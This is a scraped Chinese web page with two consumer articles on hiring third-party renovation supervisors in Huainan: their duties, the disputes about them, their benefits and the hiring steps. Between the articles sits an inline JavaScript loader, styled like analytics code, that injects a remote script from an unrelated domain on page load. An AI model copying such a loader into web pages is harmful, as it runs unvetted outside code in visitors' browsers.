第三方验收的工作内容和监管

很多业主买房之后，因为工作繁忙，很难时时刻刻跟着装修，即使偶尔回去检查进度，也会发现很多装修知识自己并不了解，很难发现是否有问题存在。于是，针对这个现象，装修行业中产生了监理这一工作，也就是大家所常说的第三方验收行业。第三方验收的存在能不能真的帮助业主做到装修无死角，主要还是要看第三方验收水准来判断。1.监理工作内容(1)开工前业主可以提前联系第三方验收人员，签订监理合同，能在第一时间参与业主和开发商的交房活动中，检查是否有细节问题存在，并协助整改。第三方验收还能帮助业主了解装修方的基本情况，在知道装修方实力和水平的情况下，进行交接。(2)开工后第三方验收人员会全程参与到装修工程中去，防止水电、油漆、材料等任何环节出现问题，而且相对于业主监工来说，第三方验收人员有更全面精确的知识去分析问题，业主也不需要浪费时间去学习装修知识或者是陪同监工。2.争议事项事实上，是否需要第三方验收在家装市场上有着很大的争议。因为相对于业主来说，装修是个很重要的事情，装修情况的好坏影响到业主接下来几年甚至于几十年的居住环境，第三方验收方和装修方相对于业主来说，都属于外人，怎么能确保安全不会有任何问题呢？在当下的这个装修市场上，这个问题已经得到了一定程度上的解决，解决关键就在于第三方的水平和监管问题。实际上，现在有很多渠道提供给业主去申诉自己的权利，一旦发现这种情况，业主可以向12315或是市场管理处投诉，也可以通过媒体曝光，直接救济自己的权利，如果有基础合同的，可以直接向法院起诉取回合同报酬并且要求对方赔偿。而且市面上，一个好的公司会注重于自己的口碑形象，品牌效应，可以通过了解周边的品牌评价来选择第三方验收人员，毕竟公司不可能只做一次性的买卖，这样赚钱的成本相对于所赚到的收益来说显然太高了。第三方验收对于业主来说节省了很多时间，还能够帮助业主完成监督工作。但是也需要业主提高警惕性，不能随便选择不知名的，或是贪图小便宜选择口碑不佳的第三方验收公司，让自己遭受更大的损失。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

请淮南装修监理有何好处？如何才能请到监理？

现在业主装修请淮南装修监理已是装修必备，但是有些业主又问了？那么请监理到底有没有必要呢？请装修监理有什么好处呢？如何才能请到装修监理呢？带着这些问题跟随淮南装修网的小编一起看看下文吧。家装请淮南装修监理到底有没有必要？对于选择品牌家装公司的业主来说，品牌公司自带监理自然要比不带监理的家装公司要好一些。但是，这也就产生了一个新的问题，自家的装修公司、自家的监理，是否还能公正？设想一下，如果检查出的只是小问题，想必肯定是公正的。但如果检查出了大问题呢？向业主坦白了，说明这家公司很公正，同时也还说明这家公司的工艺不过关。这样打自己的脸，掏自己腰包的事又有几家能够做到？总结一下，家装请监理究竟有没有必要？答案肯定是有必要的。家装监理作为第三方，主要是为业主服务，从工程的角度给出房子的最佳设计方案，并对工程的主要环节进行把关，对业主选择适合的家装公司给出建议，并可以防止业主与装修公司签订合同时所有的漏洞，还有材料的环保以及装修后的保修等等。请监理公司对于家庭装修来说绝对是必不可少的。但是，也希望监理公司能够摘掉高价这个大帽子，让更多的人享用家装监理的服务，让搞家装请监理变成装修的必需环节。请淮南装修监理有什么好处？第一大理由，业主如果想省心，省事轻轻松松搞家装修，也应该请装饰监理。很多家装业主反映，家里不是没闲人，也不是一点装修常识也不懂，就是感到家装太累，太操心，太费事，太费劲，所以才去请装饰监理来帮忙，据统计在4000多位家装业主中，有三分之一的业主是因不想操心费力才去请监理的。装饰监理怎样让用户省心，省事呢？监理公司帮助业主审查装饰公司防止不正规企业和违法游击队介入装修，监理公司帮助业主审核设计方案和装修报价，防止高估冒算和漏项问题发生，监理公司帮助业主约定装饰材料的品牌、等级、规格、产地、购买范围、检验材料质量，帮助业主分阶段验收工程质量，因此，业主就能轻松进行装修了。第二大理由，业主想省钱，就应请装饰监理。有些业主图省钱，不去找监理，而去找路边违法游击队，结果造成装修质量不合格，甚至出现被盗，被打等刑事案件。消协劝告想省钱搞装修的业主，最好的措施是去请监理，为什么花钱请监理还能省钱呢？这种省钱是从广度上讲的，具体来说，监理帮助用户签订正规、合理、规范的装饰合同，防止家装公司欺骗业主，防止业主花冤枉钱，这本身就是一种省钱；监理帮助业主审核装修方案和报价，防止高估冒算和中期无限度任意加项加价，使用户支付合理的装修价位，这也是一种省钱；监理公司帮助业主检验装饰材料，防止假冒伪劣材料进入施工现场，使用户物有所值的真货进行装修，花同样的钱不用假料，用真材实料，这当然也是一种省钱的措施；另外监理公司帮助业主验收装修质量，使业主装修一次到位，一次成功，减少纠纷，减少事端，减少业主多项支出，这更是省钱的表现。第三大理由，业主请家装监理可有利于保护家装消费者的利益和合法权益。家装消费者的利益体现在家装上就是取得合理的价格，符合质量要求的装饰材料，符合行业标准要求的装修质量，周到热情的优质服务，而这四方面是某些装饰公司所做不到的，他要取得高额利润，他要支出一大笔广告费，他要养活施工队伍需一大笔开支，因此，装修价位持高不下，装饰材料质量无法保证，施工工程无法精益求精，要纠正这些问题就要靠专业的装饰监理帮助业主把关，帮助业主限定价位，约定装饰材料，检验材料质量监督施工质量。第四大理由，绝大多数的家装业主是外行，不懂装饰专业，那就应该请装饰监理。很多来消协投诉的家装业主大多对家装一知半解，有的甚至不懂家装的基本常识。这更容易被那些利益熏心的装饰公司钻空子，有些搞家装的往往哄骗不懂家装、不懂装饰装修专业的客户，而真正懂装修的内行人士他想骗也难。所以，消协奉劝那些不懂装修多的用户最好事先请装饰监理。据百万家园监理公司新闻宣传中心统计，在委托监理的4000人中有60%是因为不懂装修才去请监理的。第五大理由，业主工作忙，无暇顾及装修，也应该请装饰监理。相当部分投诉业主就是因为双职工，工作忙或有的长期出差办事，常驻外地工作，无暇顾及家中装修才出现一系列质量纠纷，如隐蔽工程方面，吊顶工程方面，墙面涂料，细木工程方面容易出现差错，如果您没有两三个闲人“监工”，没有检查施工质量的能力，消协奉劝这些业主还是请装饰监理来为您当“监工”，成为你们家装的“保护神”，有了监理的介入，你们即不影响正常工作，也不影响出差办事或外出旅游，请监理的益处最主要是降低了消费风险，减少了家装纠纷。如何聘请淮南装修监理？聘请监理第一步首先要到你认为比较有信誉度的监理单位咨询一下有关问题：监理的运作方式，监理是通过何种约束机制检查监督，保证施工质量的，监理的收费方式等等。当然，你也要通过这次接触，向监理单位介绍一下你新居的有关情况，提出自己装修的大致设想，这当中包括经济上投入的数额，是单包（包工）还是双包（包工、包料）等等。另外，你可以借此机会咨询一下，如何选择装潢公司，如何选择、鉴别材料。在完成了有关的咨询后，监理人员将会给你一份“委托设计协议”，你可拿这份协议去寻找装潢公司，与装潢公司商谈有关事宜，并签订“委托设计协议”。聘请监理第二步通过选定的装潢公司设计完成了全套的施工图、拿出了工程预算明细表（具体到每一项材料的规格、产地、价格等）和施工方案后，你可带着这些资料到监理单位进行造价预算咨询。监理阅读上述资料，认为三项资料符合规范要求，便与你签订一份“委托监理协议”。此后，监理便会根据三项资料，在原材料、施工工艺、工程项目不变的情况下，对工程进行初步估价，这时监理的估价可能与装潢公司的估价基本吻合，也可能出现不小的差额，这时，一般监理单位会预收部分定金（多退少补），作为工程造价的咨询费用。如果装潢公司的报价不规范，图纸不齐全，有大量明显不合理的地方，监理就会说出具体问题、具体理由，由你与装潢公司交涉，特别是工程价格上的差额部分，通过说理、沟通，达成共识。如果你对一些技术性问题难以搞清，也可以请监理一起与装潢公司商谈。聘请监理第三步如果装潢公司与你就工程价格达成一致，并愿意接受监理，此时，你就可以与装潢公司、监理单位签订相关合同，例如《上海市家庭居室装修工程合同》（标准合同文本）等。合同须对甲、乙、丙三方的责、权、利均有很具体的规定与约束，你务必对具体条款的内容弄清楚之后再签字。关于淮南装修监理的问题小编就讲到这里了，如果你还想知道更多精彩内容请继续关注淮南装修网哦。